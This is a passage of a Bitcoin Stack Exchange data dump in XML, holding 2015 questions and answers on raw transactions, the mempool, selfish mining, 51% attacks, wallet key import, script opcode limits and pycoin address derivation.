numbers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;satoshis&quot;:10000000000000,&#xA;&#xA;&quot;satoshis&quot;:9999999890000,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block chain info instead returns this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable To find all tx inputs [67b22a1874be2e748b2c904e2181f85a9d6503001e58c374e17b1161cd5a36f4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14316" LastEditorUserId="14316" LastEditDate="2015-06-22T19:27:47.553" LastActivityDate="2019-09-10T19:40:07.643" Title="Bitcore.io Create a raw tx hex (signed) to push to the blockchain" Tags="|raw-transaction|bitcore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38184" PostTypeId="1" CreationDate="2015-06-22T19:09:48.177" Score="1" ViewCount="685" Body="&lt;p&gt;I'm trying to clear up some uncertainties around the mempool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tx comes in, its validated, and no other transactions have currently marked any of its inputs. Tx gets added to mempool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a double spend comes in (i.e a tx that uses any marked inputs it is discarded, maybe we mark it as a double spend attempt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a block is committed, any txs in the mempool referencing spent inputs are removed from the mempool. If the Tx being removed is not equivalent to the one being added that Tx is marked as an orphan (if you wanted tx orphan tracking)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a block is rolled back, consumed unspents are restored, tx is added back into mempool as unconfirmed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that roughly correct? I feel like there are some edge cases around mempool and block roll back that this doesn't address.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2015-06-22T19:09:48.177" Title="Mempool tracking" Tags="|bitcoin-core|utxo|mempool|chain-reorganization|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38185" PostTypeId="2" ParentId="38170" CreationDate="2015-06-22T19:12:02.390" Score="0" Body="&lt;p&gt;You can use a variety of third party services if you don't feel like running your own bitcoin node. Full disclosure: I work at BlockCypher, and am biased about recommending &lt;a href=&quot;http://www.blockcypher.com/&quot; rel=&quot;nofollow&quot;&gt;BlockCypher's API&lt;/a&gt;. In particular, we have an event notification service that &lt;a href=&quot;http://dev.blockcypher.com/#events-and-hooks&quot; rel=&quot;nofollow&quot;&gt;might fit your needs well.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you don't want to use us, there are many others available, like &lt;a href=&quot;http://www.chain.com&quot; rel=&quot;nofollow&quot;&gt;Chain&lt;/a&gt; and &lt;a href=&quot;http://www.coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt;, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't trust a third party service, you can run &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;bitcoin-core&lt;/a&gt; on your own infrastructure, or try another implementation, like &lt;a href=&quot;https://github.com/btcsuite/btcd&quot; rel=&quot;nofollow&quot;&gt;btcd&lt;/a&gt; or &lt;a href=&quot;https://toshi.io/&quot; rel=&quot;nofollow&quot;&gt;Toshi&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, as mentioned by a comment above, there's a double-spend attack vector associated with transaction malleability, which makes instant confirmation difficult. There are risk mitigation strategies, like BlockCypher's &lt;a href=&quot;https://medium.com/blockcypher-blog/from-zero-to-hero-bitcoin-transactions-in-8-seconds-7c9edcb3b734&quot; rel=&quot;nofollow&quot;&gt;Confidence Factor&lt;/a&gt; or using off-chain transactions within a single service (like Circle or Coinbase).&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-06-22T19:12:02.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38186" PostTypeId="2" ParentId="38183" CreationDate="2015-06-22T19:26:28.237" Score="2" Body="&lt;p&gt;The problem is on this line: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amount: 100000,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The amount is supposed to be in coins, not satoshis, according &lt;a href=&quot;https://github.com/bitpay/bitcore/blob/master/lib/transaction/transaction.js#L495-L506&quot; rel=&quot;nofollow&quot;&gt;these comments&lt;/a&gt; in the code. To fix it, replace that line with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;satoshis: 100000,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And what is the deal with these large numbers:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the code was assuming an input with 100,000 coins in the inputs, the change address had a lot more coins in it than there should have been.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-06-22T19:26:28.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38187" PostTypeId="1" CreationDate="2015-06-22T19:45:32.730" Score="0" ViewCount="216" Body="&lt;p&gt;In case I'm a selfish miner and have successfully forked the blockchain, I'd like to know the state of progress of my honest nodes at any given time - how can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do peers on separate blockchains exchange information about their progress through data messages?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Let's look at this scenario for a better understanding:&lt;br/&gt;&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;em&gt;selfish node=&lt;strong&gt;s&lt;/strong&gt;;    honest node=&lt;strong&gt;h&lt;/strong&gt;&lt;br/&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;s&lt;/strong&gt;: mine a block#1 (child of genesis block), don't report&lt;br/&gt;&#xA;&lt;strong&gt;h&lt;/strong&gt;: mine block#2, block#3 publicly&lt;br/&gt;&#xA;&lt;strong&gt;s&lt;/strong&gt;: mine block#4, block#5 secretly (don't report)&lt;br/&gt;&#xA;&lt;strong&gt;h&lt;/strong&gt;: mine block#4 publicly&lt;br/&gt;&#xA;&lt;strong&gt;s&lt;/strong&gt;: get information what block height the honest network is at!?&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;pindexLastCommonBlock&lt;/code&gt; doesn't seem to be helpful since calling its&#xA;height would say that last common block is 3, but does not say what&#xA;height honest nodes are at.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;setInventoryKnown&lt;/code&gt; in case of a fork stores all blocks ever mined.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-22T19:57:56.277" LastActivityDate="2015-06-22T19:57:56.277" Title="How to access peer's tip of chain?" Tags="|blockchain|blockchain-fork|c++|selfish-mining|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38188" PostTypeId="2" ParentId="38187" CreationDate="2015-06-22T19:57:26.310" Score="1" Body="&lt;p&gt;SPV wallets typically keep track of what the best known block for each of their peers is as well, to make sure they are up to date and can assess the security of their transactions (# of confirmations). The way they do this is to start a counter initialized at the height given in the &lt;code&gt;version&lt;/code&gt; message. And then when the node broadcasts a new &lt;code&gt;inv&lt;/code&gt; (inventory) message for a block, get that block header, and if it builds on their previous best header, then increment the counter. With this method, you can keep a mapping of nodes to their main chain tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, this is just keeping track of the &lt;code&gt;inv&lt;/code&gt; broadcasts form a peer, which is how peers publicly report new blocks. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-06-22T19:57:26.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38189" PostTypeId="2" ParentId="21174" CreationDate="2015-06-22T23:50:35.570" Score="-1" Body="&lt;p&gt;Did you look at &lt;a href=&quot;https://cryptopay.me/merchant/tools&quot; rel=&quot;nofollow&quot;&gt;https://cryptopay.me/merchant/tools&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to add payment to your site, adding a bitcoin button, hosted pages or iframe. Adding GBP funds and withdrawing BTC is free, I tried these, and the exchange rate is not the worst either.&lt;/p&gt;&#xA;" OwnerUserId="27034" LastActivityDate="2015-06-22T23:50:35.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38190" PostTypeId="1" AcceptedAnswerId="38195" CreationDate="2015-06-23T00:33:50.697" Score="8" ViewCount="9589" Body="&lt;p&gt;I already know about &lt;a href=&quot;https://en.bitcoin.it/wiki/Fallback_Nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;this list&lt;/a&gt;  but it does not seem to be reliable or even up-to-date. Is there any other place where I can find a better list?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="47827" LastEditDate="2020-12-26T14:00:54.257" LastActivityDate="2020-12-26T14:00:54.257" Title="Where can I find a list of reliable Bitcoin full nodes?" Tags="|nodes|p2p|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38192" PostTypeId="1" CreationDate="2015-06-23T05:33:06.590" Score="1" ViewCount="152" Body="&lt;p&gt;I searched for tutorial to run Vanitygen 24/7 on VPS. However, I'm not able to find any that work. I have a VPS running on Debian 7. I want to use this VPS to search for Bitcoin private key 24/7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I run vanitygen 24/7 on a Debian 7 VPS?&lt;/p&gt;&#xA;" OwnerUserId="27038" LastActivityDate="2015-12-07T17:29:08.883" Title="Vanitygen to run 24/7 at VPS" Tags="|vanitygen|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38194" PostTypeId="1" CreationDate="2015-06-23T07:56:13.897" Score="4" ViewCount="240" Body="&lt;p&gt;How long does the stress test usually last on the blockchain? Also what is it for? I'm fairly new to bitcoin and was having trouble processing transactions in a fair amount of time earlier.&lt;/p&gt;&#xA;" OwnerUserId="27021" LastActivityDate="2015-06-23T20:00:13.150" Title="Stress test? Whats it for?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38195" PostTypeId="2" ParentId="38190" CreationDate="2015-06-23T09:42:20.283" Score="6" Body="&lt;p&gt;Best place is &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/leaderboard/&quot; rel=&quot;noreferrer&quot;&gt;https://getaddr.bitnodes.io/nodes/leaderboard/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodes are rank according to various parameters&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-06-23T09:42:20.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38198" PostTypeId="5" CreationDate="2015-06-23T10:29:39.480" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-23T10:29:39.480" LastActivityDate="2015-06-23T10:29:39.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38199" PostTypeId="4" CreationDate="2015-06-23T10:29:39.480" Score="0" Body="Collects questions specific to the Crypto Currency landscape in China." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-23T10:29:39.480" LastActivityDate="2015-06-23T10:29:39.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38202" PostTypeId="1" AcceptedAnswerId="38224" CreationDate="2015-06-23T11:54:50.307" Score="3" ViewCount="778" Body="&lt;p&gt;I read what an attacker with 51% of hash power can do in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want to know whether an attacker with 51% of hash power can change old blocks? For example, assume the attacker has been the dominant node from today for a period of one week. Can she remove a transaction from a block which was confirmed yesterday? What about transactions confirmed one week or one month ago?&lt;/p&gt;&#xA;" OwnerUserId="26904" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-09-16T06:20:49.570" Title="Can an attacker with 51% of hash power change old blocks?" Tags="|majority-attack|chain-reorganization|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38215" PostTypeId="2" ParentId="37230" CreationDate="2015-06-23T13:08:37.540" Score="-1" Body="&lt;p&gt;There are also many options for storing your bip 38 encrypted private keys on physical coins.  Many of them are DIY options including www.mycryptovault.net They allow you full control of your bitcoin cold storage!&lt;/p&gt;&#xA;" OwnerUserId="27048" LastActivityDate="2015-06-23T13:08:37.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38217" PostTypeId="1" CreationDate="2015-06-23T14:05:18.197" Score="1" ViewCount="2423" Body="&lt;p&gt;I have upgraded my multiBit classic to multiBit HD but I am having hard time to find how to import private keys to my multiBit HD wallets. &#xA;Any idea ?&lt;/p&gt;&#xA;" OwnerUserId="26722" LastActivityDate="2015-06-23T16:56:21.540" Title="Where can I import my keys from computer to multiBit HD" Tags="|wallet|private-key|multibit|wallet-import|private-key-import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38219" PostTypeId="1" AcceptedAnswerId="38220" CreationDate="2015-06-23T14:25:07.693" Score="2" ViewCount="536" Body="&lt;p&gt;Is it possible to use &lt;code&gt;sendrawtransaction&lt;/code&gt; without downloading the blockchain? Or will bitcoind reject the broadcast since it can't validate the inputs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the client does block it by default, is there any way to force it to send it?&lt;/p&gt;&#xA;" OwnerUserId="18985" LastEditorUserId="18985" LastEditDate="2015-06-23T14:47:47.040" LastActivityDate="2015-06-23T15:12:36.820" Title="sendrawtransaction without downloading blockchain" Tags="|bitcoind|client|raw-transaction|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38220" PostTypeId="2" ParentId="38219" CreationDate="2015-06-23T15:12:36.820" Score="1" Body="&lt;p&gt;The RPC call &lt;code&gt;sendrawtransaction&lt;/code&gt; tries to broadcast the raw transaction you give it by first adding it to its own mempool of transactions. If you don't have the UTXO database, then you won't be able to validate the inputs of the transaction, so your node will reject it from its mempool. So, essentially, no, there isn't a way with the default client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could modify your client to have a new RPC call that just sends the raw transactions without checking it. But then you run the risk of broadcasting an invalid transaction and having your peers increase your ban score.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38060/pushing-tx-to-the-network-via-ajax-without-installing-bitcoin&quot;&gt;Pushing tx to the network via AJAX, without installing bitcoin&lt;/a&gt;. That question lists a few APIs that have support for broadcasting a raw transaction, which may be helpful to you.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-06-23T15:12:36.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38223" PostTypeId="2" ParentId="38217" CreationDate="2015-06-23T16:56:21.540" Score="2" Body="&lt;p&gt;All your addresses and private keys in MultiBit HD are produced from the wallet words that you are given when you create a wallet. (This is why it is so important to write your wallet words down).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because everything is generated from one thing the randomly generated private keys in MultiBit Classic cannot be imported into MultiBit HD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safest way to transfer your bitcoin is to spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a step-by-step guide on migrating from MultiBit Classic to HD in the help here:&#xA;&lt;a href=&quot;https://multibit.org/en/help/hd0.1/how-to-upgrade-from-classic.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/hd0.1/how-to-upgrade-from-classic.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-06-23T16:56:21.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38224" PostTypeId="2" ParentId="38202" CreationDate="2015-06-23T17:29:55.163" Score="7" Body="&lt;h2&gt;An attacker has a hard time changing the past&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;An attacker has very limited influence to change old blocks, because he has to replace all blocks that confirm the event he wants to change and keep up with the new ones that the network is still creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example:&lt;br&gt;&#xA;Say, Eve achieved to control &lt;strong&gt;51% of the hash rate&lt;/strong&gt; and wants to unconfirm a transaction from &lt;strong&gt;6 blocks in the past&lt;/strong&gt;.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To succeed, she has to provide &lt;code&gt;6 + X + 1 blocks&lt;/code&gt;, while the rest of the network finds &lt;code&gt;X blocks&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;With a hash rate distribution of 51:49 solving for &lt;code&gt;X&lt;/code&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/60hbO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Eve would have to sustain control of 51% of the network's hashrate for an average of 172 blocks in order to unconfirm a transaction confirmed by six blocks.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be approximately 28 hours and 40 minutes. My calculation is simplifying the process by expecting a fixed block interval, as in reality, mining is a random process, it could take much longer or shorter.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Change a week of history?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a week back, &lt;code&gt;X&lt;/code&gt; would solve to 24,720 blocks, i.e. roughly 171 days.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How much could be changed with a week of 51% hash power?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;With a week of 51% hash power, one would be able to catch up roughly 40 blocks, i.e. about 6 hours and 40 minutes.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;But really?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well, 50% of the hashing power doesn't just drop off the grid for long times without anyone noticing. If suddenly all blocks took twice as long people would start to catch on, after a few hours. I'm not sure everyone would just accept a rewrite of a significant portion of the history. As when both chain forks are public, it is easy to find out what was changed in the history, there might be broad support for declaring the attacking fork invalid, or at least somebody might be able to find out who got conned, and sue in meatspace.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-09-16T06:20:49.570" LastActivityDate="2015-09-16T06:20:49.570" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38225" PostTypeId="1" AcceptedAnswerId="38256" CreationDate="2015-06-23T18:31:55.527" Score="5" ViewCount="22787" Body="&lt;p&gt;I have an Antminer u3 running on a raspberry pi using bfgminer. Its currently running at 47GH/s. Does anyone know if  is possible to over clock it using BGFminer so that it will run at 55 - 60 GH/s?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i cant do it using BFGminer is there another mining software i can do it in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any suggestions would be welcome and would be appreciated:)&lt;/p&gt;&#xA;" OwnerUserId="27055" LastEditorUserId="5406" LastEditDate="2016-04-10T12:38:23.457" LastActivityDate="2016-04-10T12:38:23.457" Title="Overclock Antminer U3 running on raspberry pi" Tags="|mining-hardware|bfgminer|antminer|raspberry-pi|u3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38226" PostTypeId="2" ParentId="38194" CreationDate="2015-06-23T20:00:13.150" Score="2" Body="&lt;p&gt;It's not a standard occurrence, it's just a company of dubious origin deciding that they will spam transactions to somehow prove a point about block sizes. Interestingly it proves the opposite of what they intended, rather than showing that the block size needs to be bigger, it shows that no matter how big you make the blocks people can spam enough to fill them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have trouble getting transactions confirmed, you need to pay a fee for them rather than relying on the charity of miners. A transaction paying more than an absolutely rock bottom fee will be prioritized over the spam.  &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-23T20:00:13.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38229" PostTypeId="1" AcceptedAnswerId="38231" CreationDate="2015-06-23T22:32:22.597" Score="3" ViewCount="1225" Body="&lt;p&gt;a well known private key is the sha256 hash of &lt;code&gt;correct horse battery staple&lt;/code&gt; it yields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uncompressed address 1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T&#xA;compressed address 1C7zdTfnkzmr13HfA2vNm5SJYRK6nEKyq8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however i am unable to reproduce this result on &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;pycoin 0.53&lt;/a&gt;. the sha256 hash is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c4bbcb1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when i use the command-line utility &lt;code&gt;ku&lt;/code&gt; in pycoin to import this secret in hex it does not yield the above addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ku H:c4bbcb1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a&#xA;&#xA;input                        : H:c4bbcb1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a&#xA;network                      : Bitcoin mainnet&#xA;netcode                      : BTC&#xA;wallet key                   : xprv9s21ZrQH143K2yLSxbXemfny4nZroqhpiXEQ1MYx8vo2k7HRXypsWesNr7GkWT\&#xA;                                 uU9CeaW7QeR38NjjaSfZBAAZVkVEpXwEkxLLXP2q1iFUd&#xA;public version               : xpub661MyMwAqRbcFTQv4d4f8ojhcpQMDJRg5k9zojxZhGL1cuca5X984TBrhQw9ZJ\&#xA;                                 nvDdzsrjWG8nv4fsWjSU9HpX7pR3RKh2mezryhwXqvkF3&#xA;tree depth                   : 0&#xA;fingerprint                  : b501bac5&#xA;parent f'print               : 00000000&#xA;child index                  : 0&#xA;chain code                   : 5bbf1322eb26e8568dab5fdb60eb1dce21b0184ba5f6302a363d3d6fa673c630&#xA;private key                  : yes&#xA;secret exponent              : 10158881283648126355615721166211734569721037983262304808955335053160859610224&#xA; hex                         : 1675b9196a0315b28d60cf62d835ca9e0c7756655f1ae267e72e87cd94f4ac70&#xA;wif                          : KwyNQchak8YmPrMjiZubCDbTGupAFPjQGp2A1mE2feyEkgjhPzNF&#xA; uncompressed                : 5HzBHgMXJUYDKmiQGmACNaDLYhWiWziKsFjQLf7aTRv52NeoYhE&#xA;public pair x                : 51123819464118526280373633109955475860846079595385829435773454059765711587420&#xA;public pair y                : 69375255639189423482159707295881791099365542658018779127323111014791716296211&#xA; x as hex                    : 71070e700787e78e1810b2843c0723fcf25643f9de9bb90fca95ca2941dd485c&#xA; y as hex                    : 996100d13953e2d4815df164d89d27e8af148c31e2847631acc45928c89c5613&#xA;y parity                     : odd&#xA;key pair as sec              : 0371070e700787e78e1810b2843c0723fcf25643f9de9bb90fca95ca2941dd485c&#xA; uncompressed                : 0471070e700787e78e1810b2843c0723fcf25643f9de9bb90fca95ca2941dd485c\&#xA;                                 996100d13953e2d4815df164d89d27e8af148c31e2847631acc45928c89c5613&#xA;hash160                      : b501bac5295fc5a812879a5483c456b554e0f994&#xA; uncompressed                : c76a0a580bb6582e3f7e5e80324b0241b63f6eeb&#xA;Bitcoin address              : 1HW5NtrRYqmvvF36hxvGFf7e4F2voLyVk2&#xA;Bitcoin address uncompressed : 1KBQVzU9DnJCDZPe1r1T9SkrJAniJ2PUCx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="5406" LastEditDate="2016-02-19T12:43:11.103" LastActivityDate="2016-02-19T12:43:11.103" Title="pycoin deriving wrong addresses from private key" Tags="|private-key|pycoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38230" PostTypeId="1" CreationDate="2015-06-23T22:43:34.450" Score="4" ViewCount="573" Body="&lt;p&gt;Is there any part of the Bitcoin protocol that established a limit on the maximum number of op_codes in a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I have hit the limit for the bitcoin core client. In:&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/ce56f5621a94dcc2159ebe57e43da727eab18e6c/src/script/interpreter.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/ce56f5621a94dcc2159ebe57e43da727eab18e6c/src/script/interpreter.cpp&lt;/a&gt;&#xA;in line 276 you find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   if (opcode &amp;gt; OP_16 &amp;amp;&amp;amp; ++nOpCount &amp;gt; 201)&#xA;        return set_error(serror, SCRIPT_ERR_OP_COUNT);*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I interpret this line as saying that, outside standard type of transactions, there is a limit to 201 operations beside pushing a number from 0 to 16 to the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this defined in any part of the protocol or discussed in any BIP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are limits for multiscript transactions:&#xA;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki#520byte_limitation_on_serialized_script_size&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki#520byte_limitation_on_serialized_script_size&lt;/a&gt;&#xA;and that the number of signatures should be limited to avoid certain attacks, but for lightweight operations (OP_ADD and the like) I cannot find any explanation on the limit and the exact 201 value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I found the error when trying to spend the offending script. Curiously, I was allowed to send the transaction. It is when the client tries to verify the data for the next transaction when there is a problem.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2015-06-23T23:39:43.650" Title="Maximum number of op_codes in script" Tags="|protocol|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38231" PostTypeId="2" ParentId="38229" CreationDate="2015-06-23T22:47:18.513" Score="6" Body="&lt;p&gt;looks like i was using pycoin wrong. for some reason the hex private key is not imported using a &lt;code&gt;H:&lt;/code&gt;. the following works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ku c4bbcb1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a&#xA;&#xA;input                        : c4bbcb1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a&#xA;network                      : Bitcoin mainnet&#xA;netcode                      : BTC&#xA;secret exponent              : 88985120633792790105905686761572077713049967498756747774697023364147812997770&#xA; hex                         : c4bbcb1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a&#xA;wif                          : L3p8oAcQTtuokSCRHQ7i4MhjWc9zornvpJLfmg62sYpLRJF9woSu&#xA; uncompressed                : 5KJvsngHeMpm884wtkJNzQGaCErckhHJBGFsvd3VyK5qMZXj3hS&#xA;public pair x                : 54652445751364966014814199642702485207468864303823415690143529040235143060593&#xA;public pair y                : 72966369330535479126907188414667138321635397511721864437822996012971795952725&#xA; x as hex                    : 78d430274f8c5ec1321338151e9f27f4c676a008bdf8638d07c0b6be9ab35c71&#xA; y as hex                    : a1518063243acd4dfe96b66e3f2ec8013c8e072cd09b3834a19f81f659cc3455&#xA;y parity                     : odd&#xA;key pair as sec              : 0378d430274f8c5ec1321338151e9f27f4c676a008bdf8638d07c0b6be9ab35c71&#xA; uncompressed                : 0478d430274f8c5ec1321338151e9f27f4c676a008bdf8638d07c0b6be9ab35c71\&#xA;                                 a1518063243acd4dfe96b66e3f2ec8013c8e072cd09b3834a19f81f659cc3455&#xA;hash160                      : 79fbfc3f34e7745860d76137da68f362380c606c&#xA; uncompressed                : c4c5d791fcb4654a1ef5e03fe0ad3d9c598f9827&#xA;Bitcoin address              : 1C7zdTfnkzmr13HfA2vNm5SJYRK6nEKyq8&#xA;Bitcoin address uncompressed : 1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i think &lt;code&gt;ku H:c4bbcb1f...&lt;/code&gt; may be the way to import a bip32 private key, whereas &lt;code&gt;ku c4bbcb1f...&lt;/code&gt; just imports a regular private key as secret exponent.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-23T23:00:24.483" LastActivityDate="2015-06-23T23:00:24.483" 